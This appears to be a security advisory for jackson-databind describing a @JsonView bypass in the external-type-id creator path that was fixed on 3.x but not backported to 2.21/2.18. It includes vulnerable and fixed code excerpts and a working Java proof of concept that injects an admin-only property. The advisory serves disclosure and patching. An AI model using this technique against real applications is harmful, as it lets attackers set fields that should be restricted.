jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`

Summary

## Summary

In `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active.

This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path.

## Vulnerable Code Path

File: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java` Method: `deserializeUsingPropertyBasedWithExternalTypeId`

On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`:

```java if (creatorProp != null) { // [databind#1381]: if useInput=FALSE, skip deserialization from input if (creatorProp.isInjectionOnly()) { ... } // NO visibleInView(activeView) CHECK HERE if (!ext.handlePropertyValue(p, ctxt, propName, null)) { if (buffer.assignParameter(creatorProp, ...)) { ... } } continue; } ```

On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):

```java if (creatorProp != null) { // [databind#5971]: must honor active view here too if ((activeView != null) && !creatorProp.visibleInView(activeView)) { p.skipChildren(); continue; } ... } ```

The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.

Proof of Concept

Compiles and runs against jackson-databind 2.21.4:

```java import com.fasterxml.jackson.annotation.*; import com.fasterxml.jackson.databind.ObjectMapper;

public class JsonViewExternalTypeIdBypass { public static class PublicView {} public static class AdminView extends PublicView {}

public static abstract class Asset { public String name; } public static class PublicAsset extends Asset {} public static class AdminAsset extends Asset { public String secret; }

public static class Container { @JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.EXTERNAL_PROPERTY, property = "kind") @JsonSubTypes({ @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"), @JsonSubTypes.Type(value = AdminAsset.class, name = "admin") }) @JsonView(AdminView.class) public Asset asset;

public String label;

@JsonCreator public Container( @JsonProperty("label") String label, @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) { this.label = label; this.asset = asset; } }

public static class Wrapper { @JsonView(PublicView.class) public Container data; }

public static void main(String[] args) throws Exception { // Admin-only "asset" should be blocked when reading with PublicView String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\"," + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";

ObjectMapper om = new ObjectMapper(); Wrapper r = om.readerWithView(PublicView.class) .forType(Wrapper.class) .readValue(json);

System.out.println(r.data); // Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}} // Expected (secure): Container{label='hello', asset=null} if (r.data.asset != null && r.data.asset instanceof AdminAsset) { System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView"); } } } ```

A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.

### Impact

View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.

- CWE-863 (Incorrect Authorization) - Same impact class as CVE-2026-54517 / CVE-2026-54518 - No RCE, no DoS — this is an access-control / mass-assignment bypass

### Trigger Conditions

Developer code must combine (no opt-in user configuration required):

1. Property-based @JsonCreator on the outer type 2. A creator parameter annotated with @JsonView(RestrictedView.class) 3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")